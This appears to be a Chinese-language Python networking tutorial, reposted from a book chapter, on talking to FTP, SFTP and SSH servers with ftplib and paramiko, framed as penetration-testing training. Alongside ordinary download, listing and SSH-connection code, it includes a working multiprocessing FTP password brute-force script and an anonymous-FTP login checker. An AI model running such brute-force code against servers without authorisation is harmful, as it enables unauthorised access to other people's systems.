返回文章列表

Python 網路安全技術與伺服器互動

本文探討使用 Python 與 FTP、SFTP 和 SSH 伺服器進行互動的核心技術,涵蓋了使用 `ftplib` 模組操作 FTP 伺服器,包含檔案下載、上傳、目錄瀏覽等,以及使用 `paramiko` 模組建立 SSH 連線和進行遠端檔案傳輸。同時,文章也探討了 FTP 暴力破解和匿名 FTP

網路安全 Python

Python 提供強大的網路程式設計能力,可以輕鬆與 FTP、SFTP 和 SSH 伺服器互動,實作檔案傳輸、遠端命令執行等功能。ftplib 模組是 Python 內建的 FTP 客戶端函式庫,允許開發者連線到 FTP 伺服器、執行檔案上傳下載、目錄瀏覽等操作。paramiko 模組則提供了 SSH 連線功能,支援 SSH 金鑰驗證和 SFTP 檔案傳輸。瞭解這些模組的使用方法,對於網路安全相關任務,例如滲透測試和安全稽核,至關重要。此外,文章也探討了 FTP 暴力破解和匿名 FTP 掃描等安全議題,並提供程式碼範例,以幫助讀者更深入地理解這些技術的應用和潛在風險。

與FTP、SFTP及SSH伺服器互動

本章節將涵蓋以下主題:

  • 連線FTP伺服器
  • 使用Python建立匿名FTP掃描器
  • 使用paramiko和pysftp模組連線SSH和SFTP伺服器
  • 使用asyncSSH和asyncio模組實作SSH客戶端和伺服器
  • 使用ssh-audit工具檢查SSH伺服器的安全性

技術需求

在開始閱讀本章之前,您應該具備Python程式設計的基礎知識,並對HTTP協定有一定的瞭解。我們將使用Python 3.7版本,可在www.python.org/downloads取得。

連線FTP伺服器

首先,我們來瞭解FTP以及如何使用ftplib模組連線FTP伺服器、傳輸檔案並實作暴力破解以取得FTP使用者憑證。

FTP簡介

FTP是一種明文協定,用於在不同系統之間傳輸資料,並使用傳輸控制協定(TCP)在21埠上進行檔案交換。它是一種非常常見的檔案傳輸協定,主要用於將檔案從個人電腦傳輸到遠端伺服器。 FTP協定的設計架構允許客戶端和伺服器在不同的平台上執行,這意味著任何客戶端和任何FTP伺服器都可以使用不同的作業系統來移動檔案。

使用Python ftplib模組

ftplib是Python的原生模組,允許連線FTP伺服器並在這些伺服器上執行命令。它旨在用幾行程式碼建立FTP客戶端並執行管理員伺服器例行程式。

from ftplib import FTP

# 連線到主機,預設埠
ftp = FTP('ftp.python.org')
# 登入,預設使用者名稱為anonymous,密碼為anonymous@
ftp.login()
# 列出目錄內容
ftp.retrlines('LIST')

使用ftplib傳輸檔案

ftplib可用於在遠端機器之間傳輸檔案。FTP類別的建構函式方法定義在__init__()方法中,該方法接受主機、使用者和密碼作為連線伺服器的引數。

class FTP(builtins.object):
    # 初始化self,請參閱help(type(self))以取得準確的簽名
    def __init__(self, host='', user='', passwd='', acct='', timeout=<object object>, source_address=None):
        pass

要下載檔案,可以使用ftp.retrlines('RETR ' + filename)ftp.retrbinary()。要上傳檔案,可以使用ftp.storlines()ftp.storbinary()

# 下載檔案
ftp.retrlines('RETR ' + 'example.txt')
# 上傳檔案
with open('example.txt', 'rb') as file:
    ftp.storbinary('STOR example.txt', file)

連線FTP伺服器的方法

有多種方法可以連線FTP伺服器。第一種方法是使用connect()方法,如幫助檔案所示:

connect(self, host='', port=0, timeout=-999, source_address=None)

內容解密:

  1. 初始化FTP連線:使用FTP()類別初始化一個FTP連線物件,可以指定主機、使用者名稱和密碼。
  2. 連線FTP伺服器:使用connect()方法連線到FTP伺服器,可以指定主機和埠號。
  3. 登入FTP伺服器:使用login()方法登入FTP伺服器,可以指定使用者名稱和密碼。
  4. 列出目錄內容:使用retrlines('LIST')方法列出FTP伺服器上的目錄內容。
  5. 下載檔案:使用retrlines('RETR ' + filename)retrbinary()方法下載FTP伺服器上的檔案。
  6. 上傳檔案:使用storlines()storbinary()方法上傳檔案到FTP伺服器。

這些步驟和方法為使用Python的ftplib模組與FTP伺服器互動提供了基礎。接下來,我們將探討如何使用paramiko和pysftp模組與SSH和SFTP伺服器互動。

與FTP、SFTP和SSH伺服器互動

在Python中,我們可以使用ftplib模組來與FTP伺服器進行互動。FTP(檔案傳輸協定)是一種用於在網路上進行檔案傳輸的標準協定。

使用ftplib下載檔案

要使用ftplib下載檔案,我們需要先建立一個FTP連線。我們可以透過FTP()類別建構函式來建立連線,該函式接受三個引數:遠端伺服器、使用者名稱和密碼。

以下是一個下載二進位檔案的例子:

#!/usr/bin/env python3
import ftplib

FTP_SERVER_URL = 'ftp.be.debian.org'
DOWNLOAD_DIR_PATH = '/pub/linux/kernel/v5.x/'
DOWNLOAD_FILE_NAME = 'ChangeLog-5.0'

def ftp_file_download(server, username):
    ftp_client = ftplib.FTP(server, username)
    ftp_client.cwd(DOWNLOAD_DIR_PATH)
    try:
        with open(DOWNLOAD_FILE_NAME, 'wb') as file_handler:
            ftp_cmd = 'RETR %s' % DOWNLOAD_FILE_NAME
            ftp_client.retrbinary(ftp_cmd, file_handler.write)
        ftp_client.quit()
    except Exception as exception:
        print('檔案無法下載:', exception)

if __name__ == '__main__':
    ftp_file_download(server=FTP_SERVER_URL, username='anonymous')

內容解密:

  1. 我們使用ftplib.FTP()建立一個FTP連線,傳入伺服器和使用者名稱。
  2. 使用cwd()方法切換到指定的目錄。
  3. 使用retrbinary()方法下載二進位檔案,該方法接受一個FTP命令和一個回呼函式。
  4. 在回呼函式中,我們將接收到的資料寫入到本地檔案中。

使用retrlines()方法下載檔案

另一種下載檔案的方法是使用retrlines()方法,該方法接受一個FTP命令和一個回呼函式。

#!/usr/bin/env python3
from ftplib import FTP

def writeData(data):
    file_descriptor.write(data + "\n")

ftp_client = FTP('ftp.be.debian.org')
ftp_client.login()
ftp_client.cwd('/pub/linux/kernel/v5.x/')
file_descriptor = open('ChangeLog-5.0', 'wt')
ftp_client.retrlines('RETR ChangeLog-5.0', writeData)
file_descriptor.close()
ftp_client.quit()

內容解密:

  1. 我們定義了一個回呼函式writeData(),用於將接收到的資料寫入到本地檔案中。
  2. 使用retrlines()方法下載檔案,該方法接受一個FTP命令和一個回呼函式。
  3. 在回呼函式中,我們將接收到的資料寫入到本地檔案中。

使用ntransfercmd()方法下載檔案

我們還可以使用ntransfercmd()方法下載檔案,該方法傳回一個資料通訊端和預計的檔案大小。

#!/usr/bin/env python3
from ftplib import FTP

ftp_client = FTP('ftp.be.debian.org')
ftp_client.login()
ftp_client.cwd('/pub/linux/kernel/v5.x/')
ftp_client.voidcmd("TYPE I")
datasock, estsize = ftp_client.ntransfercmd("RETR ChangeLog-5.0")
transbytes = 0
with open('ChangeLog-5.0', 'wb') as file_descriptor:
    while True:
        buffer = datasock.recv(2048)
        if not len(buffer):
            break
        file_descriptor.write(buffer)
        transbytes += len(buffer)
        print("已接收位元組數:", transbytes, "總共:", (estsize, 100.0 * float(transbytes) / float(estsize)), str('%'))
datasock.close()
ftp_client.quit()

內容解密:

  1. 我們使用ntransfercmd()方法下載檔案,該方法傳回一個資料通訊端和預計的檔案大小。
  2. 使用一個迴圈來接收資料,並將資料寫入到本地檔案中。
  3. 我們還列印了已接收的位元組數和總共的位元組數。

其他ftplib函式

ftplib模組提供了許多其他有用的函式,例如:

  • FTP.getwelcome(): 取得歡迎訊息
  • FTP.pwd(): 傳回目前目錄
  • FTP.cwd(path): 切換工作目錄
  • FTP.dir(path): 傳回目錄列表
  • FTP.nlst(path): 傳回檔案名稱列表
  • FTP.size(file): 傳回檔案大小

列出FTP伺服器上的檔案

以下是一個列出FTP伺服器上檔案的例子:

#!/usr/bin/env python3
from ftplib import FTP

ftp_client = FTP('ftp.be.debian.org')
print("伺服器:", ftp_client.getwelcome())
print(ftp_client.login())
print("根目錄中的檔案和目錄:")
ftp_client.dir()
ftp_client.cwd('/pub/linux/kernel')
files = ftp_client.nlst()
files.sort()
print("%d 個檔案在 /pub/linux/kernel 目錄中:" % len(files))
for file in files:
    print(file)
ftp_client.quit()

內容解密:

  1. 我們使用getwelcome()方法取得歡迎訊息。
  2. 使用dir()方法列出根目錄中的檔案和目錄。
  3. 使用nlst()方法列出/pub/linux/kernel目錄中的檔案名稱列表。

與FTP、SFTP及SSH伺服器互動的技術深度解析

在網路安全領域,理解如何與FTP(檔案傳輸協定)、SFTP(安全檔案傳輸協定)及SSH(安全殼層)伺服器互動是至關重要的。這些協定用於在網路上進行檔案傳輸和遠端伺服器管理。本文將探討如何使用Python的ftplib模組與FTP伺服器互動,包括基本操作、暴力破解攻擊及匿名FTP掃描。

使用ftplib模組的基本操作

ftplib是Python的一個標準函式庫,用於與FTP伺服器互動。以下是一些基本操作:

  • 連線到FTP伺服器
  • 列出伺服器上的檔案和目錄
  • 上傳和下載檔案

連線到FTP伺服器

import ftplib

def connect_to_ftp(host):
    try:
        ftp = ftplib.FTP(host)
        ftp.login()
        print(ftp.getwelcome())
        return ftp
    except Exception as e:
        print(f"連線失敗:{e}")
        return None

# 使用範例
ftp = connect_to_ftp('ftp.debian.org')
if ftp:
    ftp.dir()  # 列出根目錄下的檔案和目錄
    ftp.quit()  # 關閉連線

#### 內容解密:

此程式碼片段展示瞭如何使用ftplib連線到FTP伺服器並列出根目錄下的內容。

  1. 匯入ftplib模組。
  2. 定義connect_to_ftp函式,接受主機名作為引數。
  3. 使用ftplib.FTP()建立FTP物件,並嘗試登入。
  4. 列印歡迎訊息,表明成功連線。
  5. 若發生例外,列印錯誤訊息。

使用ftplib進行暴力破解攻擊

暴力破解是一種嘗試所有可能的密碼組合以破解密碼的攻擊方法。以下是如何使用ftplib和多程式來對FTP伺服器進行暴力破解攻擊的範例:

import ftplib
import multiprocessing

def brute_force(ip_address, user, password):
    try:
        ftp = ftplib.FTP(ip_address)
        response = ftp.login(user, password)
        if "230" in response:
            print(f"[*] 成功破解:使用者={user}, 密碼={password}")
    except Exception as e:
        print(f"連線錯誤:{e}")

def main():
    ip_address = input("輸入IP地址或主機名:")
    with open('users.txt', 'r') as users_file, open('passwords.txt', 'r') as passwords_file:
        users = users_file.readlines()
        passwords = passwords_file.readlines()
        for user in users:
            for password in passwords:
                process = multiprocessing.Process(target=brute_force, args=(ip_address, user.strip(), password.strip()))
                process.start()

if __name__ == '__main__':
    main()

#### 內容解密:

此指令碼嘗試使用不同的使用者名稱和密碼組合來登入FTP伺服器。

  1. brute_force函式嘗試使用給定的使用者名稱和密碼登入FTP伺服器。
  2. 若登入成功且回應碼為"230",則表示破解成功。
  3. main函式讀取使用者名稱和密碼檔案,並為每個組合建立一個程式來執行暴力破解。

建構匿名FTP掃描器

匿名FTP登入允許使用者無需特定的使用者名稱和密碼即可存取FTP伺服器。以下是如何檢查一個FTP伺服器是否允許匿名登入的範例:

import ftplib

def check_anonymous_login(host):
    try:
        with ftplib.FTP(host, user="anonymous") as ftp:
            print("歡迎訊息:", ftp.getwelcome())
            for name, details in ftp.mlsd():
                print(name, details['type'], details.get('size'))
    except Exception as e:
        print(f"匿名登入失敗:{e}")

# 使用範例
check_anonymous_login('ftp.be.debian.org')

#### 內容解密:

此指令碼檢查指定的FTP伺服器是否允許匿名登入,並列出根目錄下的檔案和目錄。

  1. 使用ftplib.FTP()建立FTP連線,指定使用者名稱為"anonymous"。
  2. 列印歡迎訊息,並使用mlsd()方法列出根目錄下的內容。
  3. 若發生例外,表示匿名登入失敗。

使用 Python 與 FTP、SFTP 及 SSH 伺服器互動

在本章中,我們將探討如何使用 Python 的 ftplibparamiko 模組與 FTP、SFTP 及 SSH 伺服器進行互動。這些協定在檔案傳輸和遠端伺服器管理中扮演著重要的角色。

使用 ftplib 與 FTP 伺服器互動

Python 的 ftplib 模組提供了一種簡便的方式來與 FTP 伺服器建立連線並進行檔案傳輸。下面是一個簡單的例子,展示如何使用 ftplib 連線到 FTP 伺服器並列出其根目錄下的檔案:

from ftplib import FTP

# 定義 FTP 伺服器 URL 和下載目錄路徑
FTP_SERVER_URL = 'ftp.example.com'
DOWNLOAD_DIR_PATH = '/path/to/download/dir'

# 建立 FTP 連線
ftp = FTP(FTP_SERVER_URL)

# 登入 FTP 伺服器(匿名登入)
ftp.login()

# 列出 FTP 伺服器根目錄下的檔案
ftp.retrlines('LIST')

# 關閉 FTP 連線
ftp.quit()

內容解密:

  1. 匯入 ftplib 模組:使用 from ftplib import FTP 從 Python 的標準函式庫中匯入 FTP 類別。
  2. 建立 FTP 連線:透過 FTP(FTP_SERVER_URL) 建立到指定 FTP 伺服器的連線。
  3. 登入 FTP 伺服器:使用 ftp.login() 方法進行匿名登入。如果需要驗證,請傳入使用者名稱和密碼。
  4. 列出檔案ftp.retrlines('LIST') 用於列出 FTP 伺服器當前目錄下的檔案和子目錄。
  5. 關閉連線:最後,使用 ftp.quit() 關閉與 FTP 伺服器的連線。

使用 paramiko 與 SSH 伺服器互動

paramiko 是一個支援 SSHv1 和 SSHv2 協定的 Python 模組,允許開發者輕鬆地建立 SSH 使用者端並與 SSH 伺服器進行安全連線。

安裝 paramiko

要使用 paramiko,首先需要透過 pip 安裝它:

pip3 install paramiko

建立 SSH 連線

下面是一個簡單的例子,展示如何使用 paramiko 建立到 SSH 伺服器的連線:

import paramiko

# 建立 SSH 使用者端
ssh_client = paramiko.SSHClient()

# 自動新增主機金鑰(在實際應用中應當檢查主機金鑰以避免安全性風險)
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

# 連線到 SSH 伺服器
ssh_client.connect('host', username='username', password='password')

內容解密:

  1. 匯入 paramiko 模組:使用 import paramikoparamiko 模組匯入到指令碼中。
  2. 建立 SSH 使用者端:透過 paramiko.SSHClient() 建立一個新的 SSH 使用者端例項。
  3. 設定主機金鑰策略:使用 set_missing_host_key_policy(paramiko.AutoAddPolicy()) 自動新增主機金鑰。在生產環境中,建議明確檢查主機金鑰以增強安全性。
  4. 連線到 SSH 伺服器:透過呼叫 connect() 方法並提供主機名、使用者名稱和密碼來建立連線。